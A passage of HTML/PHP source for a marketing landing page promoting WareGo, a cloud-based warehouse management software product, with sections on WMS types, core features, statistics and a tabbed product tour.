storage locations</h3>\n        <p>Multi-location inventory without a WMS means duplicated data, transfer errors, and zero cross-facility visibility.</p>\n      </div>\n      <div class=\"sign-card reveal\">\n        <h3>Stock-on-hand doesn't match what's on the shelf</h3>\n        <p>Spreadsheet drift, shrinkage, and manual entry errors push real accuracy below 80%. A WMS pushes it to 95\xe2\x80\x9399%.</p>\n      </div>\n      <div class=\"sign-card reveal\">\n        <h3>Pickers carry printed pick lists</h3>\n        <p>Paper picking is slow, error-prone, and unscalable. Scanner-driven picking cuts time 25\xe2\x80\x9340% in the first year.</p>\n      </div>\n      <div class=\"sign-card reveal\">\n        <h3>You can't see real-time inventory from your phone</h3>\n        <p>Cloud-based warehouse management software gives ops leaders KPI visibility 24/7 from any device.</p>\n      </div>\n      <div class=\"sign-card reveal\">\n        <h3>Customers cancel because \"in stock\" was wrong</h3>\n        <p>Disconnected tools create phantom inventory. WMS unifies your e-commerce, ERP, and warehouse data into one source of truth.</p>\n      </div>\n    </div>\n\n    <div style=\"text-align: center; margin-top: 48px;\">\n      <a href=\"<?php echo $pageurl; ?>#features\" class=\"btn btn-primary btn-lg\">See How WareGo Fixes Every One \xe2\x86\x92</a>\n    </div>\n  </div>\n</section>\n\n<!-- ========== THE 4 TYPES OF WMS (PAA target) ========== -->\n<section class=\"section types-section\" id=\"types-of-wms\">\n  <div class=\"container\">\n    <div class=\"section-header\">\n      <span class=\"eyebrow\">Buyer's Education</span>\n      <h2>The 4 Types of Warehouse Management Software</h2>\n      <p>Before you evaluate vendors, understand the four warehouse management software categories. Picking the wrong type for your stage is the most common \xe2\x80\x94 and most expensive \xe2\x80\x94 mistake we see warehouse operators make.</p>\n    </div>\n\n    <div class=\"types-grid\">\n      <article class=\"type-card reveal\">\n        <div class=\"type-card-head\">\n          <h3 class=\"type-card-title\">Standalone WMS</h3>\n          <span class=\"type-card-badge\">Type 01</span>\n        </div>\n        <p class=\"type-card-desc\">A dedicated warehouse management system that runs independently of other business software. Best for single-warehouse operations with basic needs and no existing ERP. Lower cost, faster to implement, but limited cross-function visibility.</p>\n      </article>\n\n      <article class=\"type-card reveal reveal-delay-1\">\n        <div class=\"type-card-head\">\n          <h3 class=\"type-card-title\">ERP-Integrated WMS</h3>\n          <span class=\"type-card-badge\">Type 02</span>\n        </div>\n        <p class=\"type-card-desc\">Warehouse management software embedded inside or natively connected to an enterprise resource planning system like SAP, Oracle, or Microsoft Dynamics 365. Best for enterprises already running on a major ERP that need warehouse functionality bolted on.</p>\n      </article>\n\n      <article class=\"type-card reveal reveal-delay-2\">\n        <div class=\"type-card-head\">\n          <h3 class=\"type-card-title\">Supply Chain Module</h3>\n          <span class=\"type-card-badge\">Type 03</span>\n        </div>\n        <p class=\"type-card-desc\">WMS delivered as one module inside a broader supply chain management (SCM) suite. Useful for organizations needing end-to-end SCM \xe2\x80\x94 procurement, manufacturing, distribution, logistics \xe2\x80\x94 in one platform. Heaviest, most complex deployment.</p>\n      </article>\n\n      <article class=\"type-card featured reveal reveal-delay-3\">\n        <div class=\"type-card-head\">\n          <h3 class=\"type-card-title\">Cloud-Based (SaaS) WMS</h3>\n          <span class=\"type-card-badge\">Type 04</span>\n        </div>\n        <p class=\"type-card-desc\">Modern cloud-native warehouse management software delivered as software-as-a-service. Faster to deploy (4\xe2\x80\x938 weeks vs months), lower upfront cost, automatic updates, mobile-first. Cloud will hold <strong>61.66% of the WMS market in 2026</strong> \xe2\x80\x94 and what most growing SMB-to-mid-market warehouses now choose.</p>\n      </article>\n    </div>\n\n    <div style=\"text-align: center; margin-top: 56px;\">\n      <a href=\"<?php echo $pageurl; ?>#trial\" class=\"btn btn-primary btn-lg\">Try the Modern Cloud WMS Free \xe2\x86\x92</a>\n    </div>\n  </div>\n</section>\n\n<!-- ========== CORE FEATURES ========== -->\n<section class=\"section\" id=\"features\">\n  <div class=\"container\">\n    <div class=\"section-header\">\n      <span class=\"eyebrow\">Core Features</span>\n      <h2>Everything Your Warehouse Needs \xe2\x80\x94 In One Cloud Platform</h2>\n      <p>Twelve warehouse management software capabilities engineered to replace your patchwork of spreadsheets, desktop tools, and disconnected systems. Built for warehouses doing 25 to 25,000 orders a day.</p>\n    </div>\n\n    <div class=\"features-grid\">\n      <div class=\"feature-card reveal\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><path d=\"M22 12h-4l-3 9L9 3l-3 9H2\"/></svg></div>\n        <h3>Real-Time Inventory Visibility</h3>\n        <p>Every scan, every receipt, every shipment updates the master inventory record across all warehouses instantly. Push accuracy from spreadsheet-grade 70% to 95\xe2\x80\x9399% within 90 days.</p>\n      </div>\n      <div class=\"feature-card reveal reveal-delay-1\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><rect x=\"3\" y=\"3\" width=\"18\" height=\"18\" rx=\"2\"/><line x1=\"7\" y1=\"3\" x2=\"7\" y2=\"21\"/><line x1=\"11\" y1=\"3\" x2=\"11\" y2=\"21\"/><line x1=\"15\" y1=\"3\" x2=\"15\" y2=\"21\"/><line x1=\"19\" y1=\"3\" x2=\"19\" y2=\"21\"/></svg></div>\n        <h3>Mobile Barcode &amp; RFID Scanning</h3>\n        <p>Android and iOS scanner apps for receiving, putaway, picking, packing, cycle counts, and transfers. Replace paper pick lists with guided workflows that cut pick time 25\xe2\x80\x9340%.</p>\n      </div>\n      <div class=\"feature-card reveal reveal-delay-2\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><path d=\"M21 16V8a2 2 0 0 0-1-1.7l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.7l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z\"/></svg></div>\n        <h3>Multi-Warehouse Management</h3>\n        <p>Run unlimited warehouses, aisles, shelves, and bin locations under one platform. Transfer stock, consolidate orders, and balance inventory across facilities without juggling spreadsheets.</p>\n      </div>\n      <div class=\"feature-card reveal reveal-delay-3\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><path d=\"M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z\"/><polyline points=\"9 22 9 12 15 12 15 22\"/></svg></div>\n        <h3>Receiving, Putaway &amp; Cross-Docking</h3>\n        <p>ASN matching at the dock door, directed putaway by SKU velocity and location type, and cross-docking for high-velocity items that ship the day they arrive.</p>\n      </div>\n      <div class=\"feature-card reveal\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><path d=\"M3 12h18M13 6l6 6-6 6\"/></svg></div>\n        <h3>Picking (Wave, Batch &amp; Zone)</h3>\n        <p>Optimized pick paths with wave, batch, or zone picking strategies. The system chooses the best method based on order mix, then routes pickers efficiently across the floor.</p>\n      </div>\n      <div class=\"feature-card reveal reveal-delay-1\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><rect x=\"2\" y=\"7\" width=\"20\" height=\"14\" rx=\"2\"/><path d=\"M16 7V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v2\"/></svg></div>\n        <h3>Packing, Shipping &amp; Carrier Rate-Shopping</h3>\n        <p>Pack station workflows, automatic carrier rate-shopping (FedEx, UPS, USPS, DHL), label printing, ASN generation, and pack slips \xe2\x80\x94 all from one screen.</p>\n      </div>\n      <div class=\"feature-card reveal reveal-delay-2\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><path d=\"M3 9a9 9 0 1 0 3.5-7.1L3 4v5h5\"/><path d=\"M3 3v6h6\"/></svg></div>\n        <h3>Returns &amp; Reverse Logistics</h3>\n        <p>RMA workflows, condition grading, restock vs scrap routing, and customer-facing return portals. Recover value from returns that competitors throw away.</p>\n      </div>\n      <div class=\"feature-card reveal reveal-delay-3\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><path d=\"M3 12l3-6 4 12 4-9 3 6h4\"/></svg></div>\n        <h3>AI-Powered Demand Forecasting</h3>\n        <p>Machine-learning models analyze velocity, seasonality, and promotions per SKU per warehouse. Reduce forecast error 20\xe2\x80\x9350% per McKinsey. Reorder triggers and slow-mover flags surface automatically.</p>\n      </div>\n      <div class=\"feature-card reveal\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><circle cx=\"12\" cy=\"12\" r=\"10\"/><polyline points=\"12 6 12 12 16 14\"/></svg></div>\n        <h3>Cycle Counting &amp; ABC Analysis</h3>\n        <p>Schedule perpetual cycle counts by ABC velocity class, location, or SKU. Reconcile variances in real time and stop the annual physical-inventory shutdown.</p>\n      </div>\n      <div class=\"feature-card reveal reveal-delay-1\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><path d=\"M16 3h5v5M4 20l8-8M4 4l16 16\"/></svg></div>\n        <h3>Pre-Built Integrations</h3>\n        <p>Connect to every major e-commerce platform, marketplace, carrier, accounting system, and ERP \xe2\x80\x94 Shopify, Amazon, Walmart, QuickBooks, NetSuite, SAP, FedEx \xe2\x80\x94 plus REST API, webhooks, and EDI 850/856/810/940.</p>\n      </div>\n      <div class=\"feature-card reveal reveal-delay-2\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><rect x=\"3\" y=\"3\" width=\"18\" height=\"18\" rx=\"2\"/><line x1=\"3\" y1=\"9\" x2=\"21\" y2=\"9\"/><line x1=\"9\" y1=\"21\" x2=\"9\" y2=\"9\"/></svg></div>\n        <h3>Reporting, KPIs &amp; SLA Dashboards</h3>\n        <p>Real-time dashboards for order accuracy, on-time ship %, dock-to-stock time, cost-to-serve, and labor productivity. Run your warehouse like a CFO \xe2\x80\x94 not on gut feel.</p>\n      </div>\n      <div class=\"feature-card reveal reveal-delay-3\">\n        <div class=\"feature-icon\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\"><path d=\"M12 2L3 7v6c0 5 4 9 9 10 5-1 9-5 9-10V7l-9-5z\"/><path d=\"M9 12l2 2 4-4\"/></svg></div>\n        <h3>Compliance &amp; Traceability</h3>\n        <p>FEFO, FIFO, LIFO, lot &amp; serial tracking, hazmat documentation, cold-chain temperature logging, SSCC labels, and complete audit trails for FDA, USDA, DOT, and SOC 2.</p>\n      </div>\n    </div>\n\n    <div style=\"text-align: center; margin-top: 48px;\">\n      <a href=\"<?php echo $pageurl; ?>#trial\" class=\"btn btn-primary btn-lg\">Start Free \xe2\x80\x94 All Features Included \xe2\x86\x92</a>\n    </div>\n  </div>\n</section>\n\n<!-- ========== BENTO GRID HIGHLIGHTS ========== -->\n<section class=\"section section--alt\">\n  <div class=\"container\">\n    <div class=\"section-header\">\n      <span class=\"eyebrow\">Why Warehouses Run Smoother on WareGo</span>\n      <h2>One Platform. Every Workflow. Built for Modern Warehouses.</h2>\n      <p>A modular look at how WareGo's cloud-based warehouse management software replaces the patchwork of spreadsheets, sticky notes, and disconnected tools that most warehouses still run on.</p>\n    </div>\n\n    <div class=\"bento-grid\">\n      <div class=\"bento-card bento-1 reveal\">\n        <div>\n          <div class=\"b-eyebrow\">Real-time visibility</div>\n          <h3>Every SKU. Every order. Every warehouse. One screen.</h3>\n          <p>The operator dashboard surfaces real-time inventory levels, order volume, on-time ship %, and exceptions across every warehouse you run \xe2\x80\x94 without switching tabs, opening reports, or refreshing spreadsheets.</p>\n        </div>\n        <div class=\"bento-mini-visual\">\n          <span class=\"bento-pill\">25,000 SKUs live</span>\n          <span class=\"bento-pill\">3 warehouses</span>\n          <span class=\"bento-pill\">2,847 orders today</span>\n        </div>\n      </div>\n\n      <div class=\"bento-card bento-2 reveal reveal-delay-1 light\">\n        <div>\n          <div class=\"b-eyebrow\">Mobile-first</div>\n          <h3>Scanners on every belt</h3>\n          <p>Android &amp; iOS apps for receiving, picking, packing, returns &amp; cycle counts. Pickers carry phones, not paper.</p>\n        </div>\n        <span class=\"b-decoration\">\xf0\x9f\x93\xb1</span>\n      </div>\n\n      <div class=\"bento-card bento-3 reveal reveal-delay-2\">\n        <div>\n          <div class=\"b-eyebrow\">Accuracy</div>\n          <h3>99.9%</h3>\n          <p>Average inventory accuracy across WareGo customers. Up from 70\xe2\x80\x9380% on spreadsheets.</p>\n        </div>\n      </div>\n\n      <div class=\"bento-card bento-4 reveal reveal-delay-3 light\">\n        <div>\n          <div class=\"b-eyebrow\">Pre-built</div>\n          <h3>Integrations</h3>\n          <p>To every major platform.</p>\n        </div>\n      </div>\n\n      <div class=\"bento-card bento-5 reveal light\">\n        <div>\n          <div class=\"b-eyebrow\">AI Forecasting</div>\n          <h3>Predict demand per SKU per warehouse</h3>\n          <p>WareGo's ML models analyze historical velocity, seasonality, and promotion patterns to flag reorder triggers, slow-movers, and stockout risks \xe2\x80\x94 automatically, per client.</p>\n        </div>\n        <div class=\"bento-mini-chart\">\n          <div class=\"bento-bar\" style=\"height: 35%\"></div>\n          <div class=\"bento-bar\" style=\"height: 55%\"></div>\n          <div class=\"bento-bar\" style=\"height: 45%\"></div>\n          <div class=\"bento-bar\" style=\"height: 70%\"></div>\n          <div class=\"bento-bar\" style=\"height: 60%\"></div>\n          <div class=\"bento-bar\" style=\"height: 85%\"></div>\n          <div class=\"bento-bar\" style=\"height: 75%\"></div>\n          <div class=\"bento-bar\" style=\"height: 95%\"></div>\n        </div>\n      </div>\n\n      <div class=\"bento-card bento-6 reveal reveal-delay-1 light\">\n        <div>\n          <div class=\"b-eyebrow\">Multi-warehouse</div>\n          <h3>Standard. Not an upcharge.</h3>\n          <p>Run unlimited warehouses, aisles, shelves, and bins from day one. No per-location fees.</p>\n        </div>\n      </div>\n\n      <div class=\"bento-card bento-7 reveal reveal-delay-2 light\">\n        <div>\n          <div class=\"b-eyebrow\">Cloud-native</div>\n          <h3>Browser   iOS   Android</h3>\n          <p>Deploy in 4\xe2\x80\x938 weeks. Auto-updates. No servers to maintain. 100% uptime SLA.</p>\n        </div>\n      </div>\n\n      <div class=\"bento-card bento-8 reveal reveal-delay-3 light\">\n        <div>\n          <div class=\"b-eyebrow\">Compliance</div>\n          <h3>FEFO \xc2\xb7 Lot \xc2\xb7 Hazmat \xc2\xb7 Cold-chain</h3>\n          <p>FDA, USDA, DOT-ready audit trails out of the box. No bolt-ons.</p>\n        </div>\n      </div>\n    </div>\n\n    <div style=\"text-align: center; margin-top: 48px;\">\n      <a href=\"<?php echo $pageurl; ?>#trial\" class=\"btn btn-primary btn-lg\">Start Building Your Warehouse Stack \xe2\x86\x92</a>\n    </div>\n  </div>\n</section>\n\n<!-- ========== ANIMATED STAT COUNTERS ========== -->\n<section class=\"stat-counters\">\n  <div class=\"container\">\n    <div class=\"counters-grid\">\n      <div class=\"counter-card reveal\">\n        <div class=\"counter-value\" data-target=\"200\" data-suffix=\" \">0<span class=\"suffix\"> </span></div>\n        <div class=\"counter-label\">Warehouses running on WareGo</div>\n      </div>\n      <div class=\"counter-card reveal reveal-delay-1\">\n        <div class=\"counter-value\" data-target=\"99.9\" data-suffix=\"%\" data-decimals=\"1\">0<span class=\"suffix\">%</span></div>\n        <div class=\"counter-label\">Average inventory accuracy across customers</div>\n      </div>\n      <div class=\"counter-card reveal reveal-delay-2\">\n        <div class=\"counter-value\" data-target=\"50\" data-suffix=\"%\">0<span class=\"suffix\">%</span></div>\n        <div class=\"counter-label\">Efficiency gain reported within 90 days</div>\n      </div>\n      <div class=\"counter-card reveal reveal-delay-3\">\n        <div class=\"counter-value\" data-target=\"70\" data-suffix=\"%\">0<span class=\"suffix\">%</span></div>\n        <div class=\"counter-label\">Reduction in order errors after switching</div>\n      </div>\n    </div>\n  </div>\n</section>\n\n<!-- ========== PRODUCT TOUR \xe2\x80\x94 Tabbed Showcase ========== -->\n<section class=\"section\" id=\"product-tour\">\n  <div class=\"container\">\n    <div class=\"section-header\">\n      <span class=\"eyebrow\">A look inside WareGo</span>\n      <h2>Take a Tour of the Warehouse Management Software That Powers 200  Warehouses</h2>\n      <p>Every screenshot below is taken from the live WareGo product. Click any image to view it full-size \xe2\x80\x94 or book a demo for a guided walkthrough.</p>\n    </div>\n\n    <div class=\"tour-wrap\">\n      <div class=\"tour-tabs\" role=\"tablist\" aria-label=\"Product tour sections\">\n        <button class=\"tour-tab active\" role=\"tab\" aria-selected=\"true\" aria-controls=\"tour-1\" data-tab=\"1\">\n          <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><rect x=\"3\" y=\"3\" width=\"7\" height=\"9\" rx=\"1\"/><rect x=\"14\" y=\"3\" width=\"7\" height=\"5\" rx=\"1\"/><rect x=\"14\" y=\"12\" width=\"7\" height=\"9\" rx=\"1\"/><rect x=\"3\" y=\"16\" width=\"7\" height=\"5\" rx=\"1\"/></svg>\n          Dashboard\n        </button>\n        <button class=\"tour-tab\" role=\"tab\" aria-selected=\"false\" aria-controls=\"tour-2\" data-tab=\"2\">\n          <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><circle cx=\"9\" cy=\"21\" r=\"1\"/><circle cx=\"20\" cy=\"21\" r=\"1\"/><path d=\"M1 1h4l2.7 13.4a2 2 0 0 0 2 1.6h9.7a2 2 0 0 0 2-1.6L23 6H6\"/></svg>\n          Orders\n        </button>\n        <button class=\"tour-tab\" role=\"tab\" aria-selected=\"false\" aria-controls=\"tour-3\" data-tab=\"3\">\n          <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><path d=\"M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z\"/><polyline points=\"9 22 9 12 15 12 15 22\"/></svg>\n          Inbound &amp; POs\n        </button>\n        <button class=\"tour-tab\" role=\"tab\" aria-selected=\"false\" aria-controls=\"tour-4\" data-tab=\"4\">\n          <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><path d=\"M3 12h18M13 6l6 6-6 6\"/></svg>\n          Allocation\n        </button>\n        <button class=\"tour-tab\" role=\"tab\" aria-selected=\"false\" aria-controls=\"tour-5\" data-tab=\"5\">\n          <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><path d=\"M3 9a9 9 0 1 0 3.5-7.1L3 4v5h5\"/></svg>\n          Shipment QA\n        </button>\n        <button class=\"tour-tab\" role=\"tab\" aria-selected=\"false\" aria-controls=\"tour-6\" data-tab=\"6\">\n          <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><path d=\"M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z\"/><polyline points=\"14 2 14 8 20 8\"/><line x1=\"16\" y1=\"13\" x2=\"8\" y2=\"13\"/></svg>\n          Reports\n        </button>\n        <button class=\"tour-tab\" role=\"tab\" aria-selected=\"false\" aria-controls=\"tour-7\" data-tab=\"7\">\n          <svg viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\"><path d=\"M16 3h5v5M4 20l8-8M4 4l16 16\"/></svg>\n          Integrations\n        </button>\n      </div>\n\n      <!-- Tab 1: Dashboard -->\n      <div class=\"tour-panel active\" id=\"tour-1\" role=\"tabpanel\" aria-labelledby=\"tab-1\">\n        <div class=\"tour-copy\">\n          <span class=\"tour-eyebrow\">Operational Visibility</span>\n          <h3>The dashboard that runs your warehouse \xe2\x80\x94 at a glance</h3>\n          <p>Pending putaway, expiring stock, vehicles in facility, orders in process, room occupancy, stock transactions, and aging \xe2\x80\x94 all on one configurable screen. Drag widgets to your priority. Toggle metrics. Run your day from here.</p>\n        </div>\n        <div class=\"tour-visual\">\n          <div class=\"browser-frame\">\n            <div class=\"browser-frame-bar\">\n              <span class=\"browser-dot r\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot y\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot g\" aria-hidden=\"true\"></span>\n              <span class=\"browser-frame-url\">app.warego.co/dashboard</span>\n            </div>\n            <img src=\"images/warego-dashboard.png\" alt=\"WareGo dashboard with KPI tiles for pending putaway, expiring soon, expired products, vehicles in facility, orders in process, total picked orders, total opened manifests, plus room-wise occupancy chart, month-to-date stock transactions bar chart, and return inbound aging\" loading=\"lazy\" width=\"1920\" height=\"1080\" data-zoom>\n          </div>\n        </div>\n        <div class=\"tour-footer\">\n          <ul class=\"tour-bullets\">\n            <li>Real-time KPI cards with drill-down to source data</li>\n            <li>Room-wise occupancy donut   month-to-date transaction bars</li>\n            <li>Return inbound aging tracking (0\xe2\x80\x937, 7\xe2\x80\x9330, 30  days)</li>\n            <li>Add / remove / re-order widgets per user role</li>\n          </ul>\n        </div>\n      </div>\n\n      <!-- Tab 2: Orders -->\n      <div class=\"tour-panel\" id=\"tour-2\" role=\"tabpanel\" aria-labelledby=\"tab-2\">\n        <div class=\"tour-copy\">\n          <span class=\"tour-eyebrow\">Order Management</span>\n          <h3>Sales orders, dispatch orders, adjustments \xe2\x80\x94 one orchestrator</h3>\n          <p>WareGo's Orders module centralizes every order type your warehouse handles: sales orders, dispatch orders, adjustments-in, adjustments-out, returns. Filter, sort, bulk action, export to CSV. Approve or push through warehouse routing in two clicks.</p>\n        </div>\n        <div class=\"tour-visual\">\n          <div class=\"browser-frame\">\n            <div class=\"browser-frame-bar\">\n              <span class=\"browser-dot r\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot y\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot g\" aria-hidden=\"true\"></span>\n              <span class=\"browser-frame-url\">app.warego.co/orders</span>\n            </div>\n            <img src=\"images/warego-orders.png\" alt=\"WareGo orders management table showing sales orders, dispatch orders, adjustment-out orders with order numbers, customer names, status pills (Completed, Pending Review, In Progress), created timestamps, and shipping addresses with row-level actions\" loading=\"lazy\" width=\"1920\" height=\"1080\" data-zoom>\n          </div>\n        </div>\n        <div class=\"tour-footer\">\n          <ul class=\"tour-bullets\">\n            <li>All order types unified in one table</li>\n            <li>Column-level customization, sorting, and saved views</li>\n            <li>Bulk actions: approve, route, allocate, cancel, export</li>\n            <li>Live status pills: Completed, Pending Review, In Progress</li>\n          </ul>\n        </div>\n      </div>\n\n      <!-- Tab 3: Inbound & POs -->\n      <div class=\"tour-panel\" id=\"tour-3\" role=\"tabpanel\" aria-labelledby=\"tab-3\">\n        <div class=\"tour-copy\">\n          <span class=\"tour-eyebrow\">Inbound &amp; Purchase Orders</span>\n          <h3>Receive purchase orders in seconds, not hours</h3>\n          <p>From PO creation through ASN matching to dock receiving \xe2\x80\x94 the entire inbound flow lives in one module. View, edit, and search every PO. Show/hide columns to match your team's workflow. Multi-currency, multi-supplier, line-level item detail.</p>\n        </div>\n        <div class=\"tour-visual\">\n          <div class=\"browser-frame\">\n            <div class=\"browser-frame-bar\">\n              <span class=\"browser-dot r\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot y\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot g\" aria-hidden=\"true\"></span>\n              <span class=\"browser-frame-url\">app.warego.co/inbound/purchase-orders</span>\n            </div>\n            <img src=\"images/warego-purchase-orders.png\" alt=\"WareGo Purchase Orders list view with show/hide columns dropdown showing item code, barcode, description, category, customer, status filters; PO IDs, creation dates, party names, types, total quantity and draft status\" loading=\"lazy\" width=\"1920\" height=\"1080\" data-zoom>\n          </div>\n        </div>\n        <div class=\"tour-footer\">\n          <ul class=\"tour-bullets\">\n            <li>PO creation with supplier site, currency, and tax controls</li>\n            <li>Show/hide columns   saved column presets per user</li>\n            <li>Line-level item detail with UOM, category, quantity, and order timestamp</li>\n            <li>Status workflow: Draft \xe2\x86\x92 Sent \xe2\x86\x92 Receiving \xe2\x86\x92 Closed</li>\n          </ul>\n        </div>\n      </div>\n\n      <!-- Tab 4: Allocation -->\n      <div class=\"tour-panel\" id=\"tour-4\" role=\"tabpanel\" aria-labelledby=\"tab-4\">\n        <div class=\"tour-copy\">\n          <span class=\"tour-eyebrow\">Smart Allocation</span>\n          <h3>Mass allocate inventory in one workflow \xe2\x80\x94 not 50 manual decisions</h3>\n          <p>Run mass allocations across orders, dates, customers, and LPN statuses. Set break-LPN rules. Pick allocation methods at Level 1 and Level 2. Filter by order status, type, date range, and source location. Allocate hundreds of orders in seconds.</p>\n        </div>\n        <div class=\"tour-visual\">\n          <div class=\"browser-frame\">\n            <div class=\"browser-frame-bar\">\n              <span class=\"browser-dot r\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot y\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot g\" aria-hidden=\"true\"></span>\n              <span class=\"browser-frame-url\">app.warego.co/allocation/run-mass</span>\n            </div>\n            <img src=\"images/warego-allocation.png\" alt=\"WareGo Run Mass Allocation page with filters for order number, status, type, customer, date range, LPN status, break LPN settings, and two-tier allocation method selectors with Allocate From Location section\" loading=\"lazy\" width=\"1920\" height=\"1080\" data-zoom>\n          </div>\n        </div>\n        <div class=\"tour-footer\">\n          <ul class=\"tour-bullets\">\n            <li>Mass allocation by order range, customer, or date filters</li>\n            <li>Two-tier allocation logic (Level 1 and Level 2 strategies)</li>\n            <li>Source location selection with break-LPN controls</li>\n            <li>De-allocation, manual override, and wave logging supported</li>\n          </ul>\n        </div>\n      </div>\n\n      <!-- Tab 5: Shipment QA -->\n      <div class=\"tour-panel\" id=\"tour-5\" role=\"tabpanel\" aria-labelledby=\"tab-5\">\n        <div class=\"tour-copy\">\n          <span class=\"tour-eyebrow\">Shipment Correction &amp; QA</span>\n          <h3>Catch and correct shipment discrepancies \xe2\x80\x94 before they ship</h3>\n          <p>Every received shipment lives in Shipment Correction with status tracking: Received, Partial Putaway, Putaway. Edit any record, re-verify units, fix counts, and audit the trail. Quality checks built into the warehouse workflow.</p>\n        </div>\n        <div class=\"tour-visual\">\n          <div class=\"browser-frame\">\n            <div class=\"browser-frame-bar\">\n              <span class=\"browser-dot r\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot y\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot g\" aria-hidden=\"true\"></span>\n              <span class=\"browser-frame-url\">app.warego.co/inbound/shipment-correction</span>\n            </div>\n            <img src=\"images/warego-shipment-correction.png\" alt=\"WareGo Shipment Correction listing with shipment IDs, type (consignment), party (Blue and White Fisheries), units received counts, created datetime, receiving user (Adam), and status pills for Partial Putaway, Putaway, and Received\" loading=\"lazy\" width=\"1920\" height=\"1080\" data-zoom>\n          </div>\n        </div>\n        <div class=\"tour-footer\">\n          <ul class=\"tour-bullets\">\n            <li>Bulk select   edit shipment records</li>\n            <li>Status pills: Received, Partial Putaway, Putaway</li>\n            <li>Unit-level verification with receiving-user trail</li>\n            <li>Full audit log for every correction</li>\n          </ul>\n        </div>\n      </div>\n\n      <!-- Tab 6: Reports -->\n      <div class=\"tour-panel\" id=\"tour-6\" role=\"tabpanel\" aria-labelledby=\"tab-6\">\n        <div class=\"tour-copy\">\n          <span class=\"tour-eyebrow\">Reports &amp; Invoicing</span>\n          <h3>Every report your CFO and operations team needs \xe2\x80\x94 built in</h3>\n          <p>Transactions export, inbound, outbound, cross-dock, inventory, finance, billing, management, complaint, scheduled, product category, and LPN-level reports. Every invoice generates as a polished PDF you can search, filter, and email.</p>\n        </div>\n        <div class=\"tour-visual\">\n          <div class=\"browser-frame\">\n            <div class=\"browser-frame-bar\">\n              <span class=\"browser-dot r\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot y\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot g\" aria-hidden=\"true\"></span>\n              <span class=\"browser-frame-url\">app.warego.co/reports/billing</span>\n            </div>\n            <img src=\"images/warego-reports.png\" alt=\"WareGo Reports section with Billing Reports active, Manual Invoice Report listing showing recent invoices grouped by Today, Yesterday, Last Week with PDF previews of branded WareGo invoices including invoice header, customer details, line items, subtotal, tax, and total amount\" loading=\"lazy\" width=\"1920\" height=\"1080\" data-zoom>\n          </div>\n        </div>\n        <div class=\"tour-footer\">\n          <ul class=\"tour-bullets\">\n            <li>11  report categories spanning operations and finance</li>\n            <li>Date-range and invoice-number filtering</li>\n            <li>White-label branded invoice PDFs with QR codes</li>\n            <li>Schedule reports for daily/weekly auto-email delivery</li>\n          </ul>\n        </div>\n      </div>\n\n      <!-- Tab 7: Integrations -->\n      <div class=\"tour-panel\" id=\"tour-7\" role=\"tabpanel\" aria-labelledby=\"tab-7\">\n        <div class=\"tour-copy\">\n          <span class=\"tour-eyebrow\">Integrations 